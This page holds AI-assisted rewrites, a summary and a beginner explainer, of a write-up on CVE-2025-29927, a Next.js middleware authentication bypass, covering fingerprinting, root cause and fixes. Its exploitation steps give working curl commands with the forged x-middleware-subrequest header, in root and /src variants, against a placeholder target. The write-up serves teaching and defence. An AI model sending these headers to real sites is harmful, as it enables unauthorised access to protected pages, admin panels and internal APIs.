Skip to content
Access control Write-up Beginner

CVE-2025–29927 : Next.js Middleware Bypass Vulnerability

Next.js did not validate the origin of an internal header used to prevent middleware recursion, so a client could send it manually and skip all middleware logic, including authentication and access control. An attacker could reach protected pages and internal APIs without credentials.

medium.com

Published on medium.com

Cybersecurity

Arya Widyanto Utomo, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

CVE-2025-29927 is a vulnerability in Next.js that lets an attacker bypass the entire middleware logic, including authentication, session validation and access control, by adding a single HTTP header to a request. No credentials, session token or brute force is needed. Any Next.js App Router application that relies on middleware as its main protection layer is potentially affected.

The impact described in the write-up is:

  • A complete authentication bypass to pages and routes that should be protected.
  • Unauthorised access to sensitive data such as dashboards, admin panels and internal APIs.
  • A possible initial access point for further escalation.

The vulnerability only manifests in a production build (npm run build && npm start), only on the App Router (Next.js 13+, the default since version 14), and only in applications that use middleware.ts or middleware.js for authentication or authorisation. The header path differs depending on whether middleware.ts sits at the project root or inside a /src folder.

Setup

The write-up describes testing against a lab environment, an isolated lab environment, and does not name a specific target application, version or account setup. The prerequisites it lists are:

  1. The application runs a production build, not next dev.
  2. It uses the App Router.
  3. It uses middleware.ts or middleware.js for authentication or authorisation.
  4. The tester knows whether the middleware file is at the project root or under /src, because that determines the header value used in the exploit.

The tooling shown is curl, used both for fingerprinting and for the exploit itself. The examples use a placeholder target, TARGET_IP:PORT.

Finding it

The researcher starts from the internal header x-middleware-subrequest. Next.js uses this header as an infinite-loop prevention mechanism. Normally the framework attaches it internally when middleware calls itself recursively, for example when forwarding a request to another route, so that Next.js knows not to run the middleware again on the forwarded request.

The core weakness is that Next.js never validates the origin of this header, that is, whether it really came from the framework's internal process or was inserted by an external client. Anyone who includes the header manually on a request is treated the same as an internal subrequest, so the middleware, including every authentication check inside it, is skipped entirely.

cve-2025–29927 From the original on medium.com

The image is the article's title card for CVE-2025-29927.

Exploitation

Step 1: Passive fingerprinting

The goal of this step is to confirm that the target runs Next.js with the App Router before attempting the exploit. The write-up shows the start of a curl command:

Text
curl http:

The response should be checked for the following indicators:

  • Header X-Powered-By : Next.js.
  • window.__next_f in the HTML body, in the form self.__next_f.push([...]).
  • Static asset paths under /_next/static/chunks/.
  • Middleware headers x-middleware-next and x-middleware-rewrite.
  • A redirect to the login page, HTTP 307, when testing a protected endpoint such as admin.

Step 2: Verify that middleware is active

Identify a protected route, for example /dashboard or /admin, and confirm that middleware works normally:

Bash
curl -v http://TARGET_IP:PORT/dashboard

The expected result, which indicates a vulnerable or potentially vulnerable target, is:

Text
< HTTP/1.1 307 Temporary Redirect< location: /login

This shows that the middleware is actively enforcing access control, which makes the target a relevant candidate for testing CVE-2025-29927.

Step 3: Exploit the middleware bypass

Insert the x-middleware-subrequest header with the middleware module path as its value, repeated five times.

If middleware.ts is at the project root:

Bash
curl -v -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \  http://TARGET_IP:PORT/dashboard

If the project uses a /src folder structure:

Bash
curl -v -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware" \  http://TARGET_IP:PORT/dashboard

The header value is the middleware module path repeated five times and separated by colons.

Step 4: Validate that the exploit worked

Compare the result before and after sending the payload:

  • Without the header (normal): redirect to /login.
  • With the x-middleware-subrequest header: the content of the protected page is accessible, that is, authentication is bypassed.

An example of a successful output, where the previously protected page content can be accessed directly:

Text
HTTP/1.1 200 OK...<konten dashboard yang seharusnya memerlukan autentikasi>

Root cause

Next.js uses x-middleware-subrequest to prevent infinite loops when middleware forwards a request to another route. The framework attaches the header itself for those internal subrequests and uses it to decide not to run the middleware again. The mistake is that the header is trusted without any check that it originated inside the framework. A client-supplied header is therefore indistinguishable from an internal one, and the middleware, including all authentication checks it performs, is skipped.

The write-up notes that the vulnerability does not manifest in development mode (next dev), so an environment must actually run a production build before a vulnerability conclusion is drawn.

Impact

Under the conditions above, an attacker can bypass authentication completely and reach pages and routes that should be protected, including dashboards, admin panels and internal APIs, and access sensitive data without credentials or a session token. The write-up describes this as a potential initial access point for further escalation. The impact applies to Next.js App Router applications in production build that depend on middleware as their only authentication layer.

Fix

The recommendations given are:

  1. Upgrade Next.js to a version that contains the official patch for CVE-2025-29927.
  2. If upgrading cannot be done immediately, filter the x-middleware-subrequest header at the reverse proxy or WAF for requests coming from outside.
  3. Do not rely on middleware as the only authentication layer; re-validate authentication at the server component or API route level (defence in depth).
  4. Audit all internal applications that use the Next.js App Router to make sure none depend on middleware-only authentication.
  5. Implement detection rules for the indicators above in the existing WAF or SIEM.

The write-up does not state which Next.js version contains the patch.

Variants to test

  • Root versus /src layout. Use the header value that matches where the middleware file lives: middleware:middleware:middleware:middleware:middleware at the root, or src/middleware:src/middleware:src/middleware:src/middleware:src/middleware under /src. A positive result is a 200 with protected content where the request without the header returned 307 to /login.
  • A positive result is any route that returns protected content or data with the header present.
  • A positive fingerprint plus a 307 to /login on a protected route makes the target a candidate.
  • Related CVE. The write-up notes that CVE-2025-29927 is temporally linked to CVE-2025-55182, an unauthenticated RCE via insecure deserialisation in the RSC Flight protocol with CVSS 10.0, exploited in the same attack wave by a specific threat actor, and recommends auditing both CVEs together on Next.js environments.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

What happened, in plain words

A security researcher published a write-up about a bug in Next.js, a popular tool for building websites. The bug has an official identifier, CVE-2025-29927. A CVE is a public catalogue number given to a known security flaw so that everyone can refer to the same thing.

The flaw is simple to describe. Next.js has a feature called middleware, a small piece of code that runs before a page is served. Many websites use middleware as their front door guard: it checks whether you are logged in and turns you away if you are not. The bug lets anyone walk past that guard by adding one extra line to their web request. No password, no login, no guessing. Just that one line.

The write-up explains what the bug is, how to check whether a site is affected, how to demonstrate the bypass in a lab, why it happens, and how to fix it. This article walks through all of that for someone who has never done security testing before.

cve-2025–29927 From the original on medium.com

The image is the title card of the article, showing the CVE identifier.

Background: the words you need first

Before the steps make sense, here are the basic ideas. Each one is explained from zero.

  • A web request is the message your browser sends to a website's computer (the server) when you open a page. It contains a method (usually GET), a path such as /dashboard, and a set of headers.
  • Headers are extra labelled lines attached to a request or a response. Think of them as the notes written on the outside of an envelope: who sent it, what format it is in, and any special instructions. A header looks like Name: value.
  • A response is what the server sends back. It also has a status code, a three-digit number. 200 means "here is the page". 307 means "this page has moved, go here instead", which is how a site sends you to a login page.
  • Next.js is a framework, a toolkit for building websites with JavaScript. It has two ways of organising a site: the older Pages Router and the newer App Router. This bug only affects the App Router, which has been the default since Next.js version 14.
  • Middleware is code that runs on the server before a page or API route is delivered. It is often used as a gatekeeper: check the user's session, then either let the request through or redirect to /login.
  • A session is how a website remembers that you logged in. After you sign in, the server gives your browser a small piece of data, often stored in a cookie or a token, and your browser sends it back with every later request. If the middleware checks that piece of data, it is doing authentication.
  • Authentication means proving who you are. Authorisation means deciding what you are allowed to see. Middleware often does both.
  • A production build is the finished, optimised version of a site that runs on a real server, made with npm run build and then started with npm start. The alternative is development mode, started with next dev, which is what a programmer uses while writing code. The two behave differently, and this matters later.
  • curl is a command-line tool that sends web requests and prints the responses. It is like a browser without a window: useful for looking at exactly what a server sends back.
  • A reverse proxy or WAF is a piece of software that sits in front of a website and inspects incoming traffic. A WAF (web application firewall) can block requests that match known bad patterns.
  • A lab environment is a test setup that is isolated from real users, so experiments cannot harm anyone.

1. What the bug allows

CVE-2025-29927 lets an attacker skip the entire middleware logic: authentication, session validation and access control. The only thing needed is one extra HTTP header in the request. No credentials, no session token, no brute force (which means trying many passwords in a row).

Any Next.js App Router application that relies on middleware as its main protection layer is potentially affected.

The impact listed in the write-up is:

  • A complete authentication bypass to pages and routes that should be protected.
  • Unauthorised access to sensitive data such as dashboards, admin panels and internal APIs. An API is a way for programs to talk to a server and exchange data, as opposed to a page meant for a human to look at.
  • A possible initial access point for further escalation, meaning the attacker gets a first foothold and can try to go further.

2. When the bug applies

The write-up is careful about the conditions. All of these must hold:

  1. The application runs a production build (npm run build && npm start), not next dev.
  2. It uses the App Router (Next.js 13+, the default since version 14).
  3. It uses middleware.ts or middleware.js for authentication or authorisation. These are the file names where Next.js expects middleware code to live.
  4. The tester knows whether that middleware file sits at the project root or inside a /src folder, because that changes the header value used in the exploit.

The testing described was done in an isolated lab environment. The write-up does not name a specific target application, version or account setup. The examples use a placeholder target, TARGET_IP:PORT, which stands for the address and port of the machine being tested.

3. Why it happens

The key is an internal header called x-middleware-subrequest. Next.js uses it as an infinite-loop prevention mechanism. An infinite loop is what it sounds like: code that keeps calling itself and never stops. To avoid that, when middleware forwards a request to another route, Next.js attaches this header itself, so that on the forwarded request it knows not to run the middleware again.

The core weakness is that Next.js never validates the origin of this header. It does not check whether the header really came from the framework's internal process or was inserted by an external client. Anyone who includes the header manually is treated the same as an internal subrequest, so the middleware, including every authentication check inside it, is skipped entirely.

A comparison: imagine a building where staff can skip the security desk by showing an internal badge. The badge is supposed to be issued only at the desk itself. If the guard never checks where the badge came from, anyone who prints a similar badge walks straight past.

4. The proof of concept, step by step

A proof of concept (PoC) is a small, repeatable demonstration that a bug is real. The write-up does it in four stages.

Step 1: Passive fingerprinting

Fingerprinting means working out what software a site runs without attacking it. The goal here is to confirm the target uses Next.js with the App Router before trying anything else. The write-up shows the start of a curl command:

Text
curl http:

This is only a fragment: the address of the target is cut off. It shows the tool being used, not a complete request.

The response should be checked for these indicators:

  • The header X-Powered-By : Next.js, a line many servers add to announce the software they run.
  • window.__next_f in the HTML body, in the form self.__next_f.push([...]). This is a JavaScript pattern that Next.js pages contain.
  • Static asset paths under /_next/static/chunks/. Static assets are files like scripts and stylesheets; the folder name is characteristic of Next.js.
  • The middleware headers x-middleware-next and x-middleware-rewrite, which appear when middleware is involved in handling the request.
  • A redirect to the login page, HTTP 307, when testing a protected endpoint such as admin. A redirect is the server telling the browser to go somewhere else.

Why this step first: if the site is not Next.js with the App Router, the rest of the test is pointless. Checking before acting saves time and avoids noise.

Step 2: Verify that middleware is active

Next, pick a protected route, for example /dashboard or /admin, and confirm the middleware works normally:

Bash
curl -v http://TARGET_IP:PORT/dashboard

Line by line:

  • curl is the tool sending the request.
  • -v means verbose: print the full conversation, including the response headers, not just the page body.
  • http://TARGET_IP:PORT/dashboard is the address being requested. TARGET_IP and PORT are placeholders for the lab machine's address and port number.

The expected result, which indicates a vulnerable or potentially vulnerable target, is:

Text
< HTTP/1.1 307 Temporary Redirect< location: /login

This is a fragment of the response as curl -v prints it. The < marks a line received from the server. HTTP/1.1 307 Temporary Redirect is the status: the page is not being served, you are being sent elsewhere. location: /login says where: the login page.

Why this step: a redirect to /login proves the middleware is actively enforcing access control. That makes the target a relevant candidate for testing CVE-2025-29927. If the page were simply open to everyone, there would be no gate to bypass.

Step 3: Exploit the middleware bypass

Now insert the x-middleware-subrequest header, with the middleware module path as its value, repeated five times. Which value to use depends on where the middleware file lives.

If middleware.ts is at the project root:

Bash
curl -v -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \  http://TARGET_IP:PORT/dashboard

If the project uses a /src folder structure:

Bash
curl -v -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware" \  http://TARGET_IP:PORT/dashboard

Line by line:

  • curl -v sends the request and prints the full response, as before.
  • -H tells curl to add a custom header to the request. This is the whole attack: one added line.
  • "x-middleware-subrequest: ..." is the header name and its value. The value is the middleware module path, repeated five times and separated by colons. In the first command the path is middleware; in the second it is src/middleware, matching the two possible file locations.
  • http://TARGET_IP:PORT/dashboard is the same protected page requested in step 2.

The write-up does not explain why the value is repeated five times. In other words, the value is shaped so the request looks like an internal subrequest that has already passed through the middleware several times, and the framework therefore does not run the middleware for it.

Step 4: Validate that the exploit worked

Compare the result before and after sending the payload. A payload is the part of a request crafted to trigger the bug.

  • Without the header (normal): redirect to /login.
  • With the x-middleware-subrequest header: the content of the protected page is accessible, meaning authentication is bypassed.

An example of a successful output, where the previously protected page content can be accessed directly:

Text
HTTP/1.1 200 OK...<konten dashboard yang seharusnya memerlukan autentikasi>

This is a shortened response. HTTP/1.1 200 OK is the status meaning the page was served. The text in angle brackets is Indonesian for "dashboard content that should require authentication". The ... stands for the rest of the page, left out of the example.

Why this step: the comparison is the proof. The same address, requested the same way, gives a redirect without the header and the protected page with it. Nothing else changed, so the header is what made the difference.

5. The root cause, restated

Next.js uses x-middleware-subrequest to prevent infinite loops when middleware forwards a request to another route. The framework attaches the header itself for those internal subrequests and uses it to decide not to run the middleware again. The mistake is that the header is trusted without any check that it originated inside the framework. A header supplied by a client is therefore indistinguishable from an internal one, and the middleware, including all authentication checks it performs, is skipped.

The write-up also notes that the vulnerability does not manifest in development mode (next dev), so an environment must actually run a production build before any conclusion about vulnerability is drawn.

6. Impact

Under the conditions above, an attacker can bypass authentication completely and reach pages and routes that should be protected, including dashboards, admin panels and internal APIs, and access sensitive data without credentials or a session token. The write-up describes this as a potential initial access point for further escalation. The impact applies to Next.js App Router applications in a production build that depend on middleware as their only authentication layer.

7. How to fix it

The recommendations given are:

  1. Upgrade Next.js to a version that contains the official patch for CVE-2025-29927. A patch is an update that closes the flaw.
  2. If upgrading cannot be done immediately, filter the x-middleware-subrequest header at the reverse proxy or WAF for requests coming from outside. In plain terms: strip or block that header on traffic arriving from the internet, so only the framework's own internal use of it survives.
  3. Do not rely on middleware as the only authentication layer. Re-validate authentication at the server component or API route level. This is called defence in depth: several independent checks, so that one failing does not open the door.
  4. Audit all internal applications that use the Next.js App Router to make sure none depend on middleware-only authentication. An audit here means a systematic review.
  5. Implement detection rules for the indicators above in the existing WAF or SIEM. A SIEM is a system that collects and analyses security logs.

8. Variants to test

  • Root versus /src layout. Use the header value that matches where the middleware file lives: middleware:middleware:middleware:middleware:middleware at the root, or src/middleware:src/middleware:src/middleware:src/middleware:src/middleware under /src. A positive result is a 200 with protected content where the request without the header returned 307 to /login.
  • A positive result is any route that returns protected content or data with the header present.
  • A positive fingerprint plus a 307 to /login on a protected route makes the target a candidate.
  • Related CVE. The write-up notes that CVE-2025-29927 is temporally linked to CVE-2025-55182, an unauthenticated RCE via insecure deserialisation in the RSC Flight protocol with CVSS 10.0, exploited in the same attack wave by a specific threat actor, and recommends auditing both CVEs together on Next.js environments.

Some of those terms deserve a short explanation. RCE means remote code execution: an attacker can make the server run their own code. Deserialisation is the process of turning stored or transmitted data back into objects a program can use; if that data is not checked, it can be crafted to do unintended things. The RSC Flight protocol is the format Next.js uses to send parts of a page from server to browser. CVSS is a scoring system for the severity of a vulnerability, from 0 to 10, where 10.0 is the maximum. A threat actor is a person or group carrying out attacks.

9. Additional notes from the write-up

The write-up closes with a few practical reminders:

  • The vulnerability does not appear in development mode (next dev). Make sure the environment being audited really runs a production build before concluding anything about its vulnerability status.
  • The document was put together from testing in a controlled, isolated lab environment.
  • The write-up recommends auditing both CVEs together on any environment running Next.js.

Glossary

  • API: a way for programs to exchange data with a server, as opposed to a page meant for a person to read.
  • App Router: the newer way of organising a Next.js site, the default since version 14, and the only router affected by this bug.
  • Audit: a systematic review of systems or code to find problems.
  • Authentication: proving who you are, usually by logging in.
  • Authorisation: deciding what an authenticated user is allowed to access.
  • Brute force: trying many passwords or guesses in sequence until one works.
  • Cookie: a small piece of data a site stores in your browser and your browser sends back with later requests, often used to remember a session.
  • CVE: a public catalogue identifier for a known security vulnerability.
  • CVSS: a scoring system for vulnerability severity, from 0 to 10.
  • curl: a command-line tool that sends web requests and prints the responses.
  • Defence in depth: using several independent security checks so that one failing does not open the door.
  • Deserialisation: turning stored or transmitted data back into objects a program can use; unsafe deserialisation can let crafted data do unintended things.
  • Development mode: the version of a site a programmer runs while writing code, started with next dev.
  • Fingerprinting: working out what software a site runs without attacking it.
  • Framework: a toolkit of ready-made code for building applications, such as Next.js.
  • Header: a labelled line of extra information attached to a web request or response.
  • Infinite loop: code that keeps calling itself and never stops.
  • Initial access: an attacker's first foothold in a system.
  • Lab environment: an isolated test setup that real users do not touch.
  • Middleware: code that runs on the server before a page or API route is delivered, often used as a gatekeeper.
  • Patch: an update that fixes a vulnerability.
  • Payload: the part of a request crafted to trigger a bug.
  • Production build: the finished, optimised version of a site that runs on a real server, made with npm run build and started with npm start.
  • Proof of concept (PoC): a small, repeatable demonstration that a bug is real.
  • RCE (remote code execution): a flaw that lets an attacker make a server run their own code.
  • Redirect: a server response telling the browser to go to a different address.
  • Reverse proxy: software that sits in front of a website and forwards incoming traffic to it.
  • RSC Flight protocol: the format Next.js uses to send parts of a page from server to browser.
  • Session: how a site remembers that you logged in, usually via a cookie or token.
  • SIEM: a system that collects and analyses security logs.
  • Status code: the three-digit number in a response, such as 200 for success or 307 for a redirect.
  • Subrequest: a request made internally by the framework, for example when middleware forwards a request to another route.
  • Threat actor: a person or group carrying out attacks.
  • Token: a piece of data, similar to a cookie, used to prove a session or identity.
  • WAF (web application firewall): software that inspects incoming web traffic and can block requests matching known bad patterns.
  • Web request: the message a browser or tool sends to a server to ask for a page or data.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.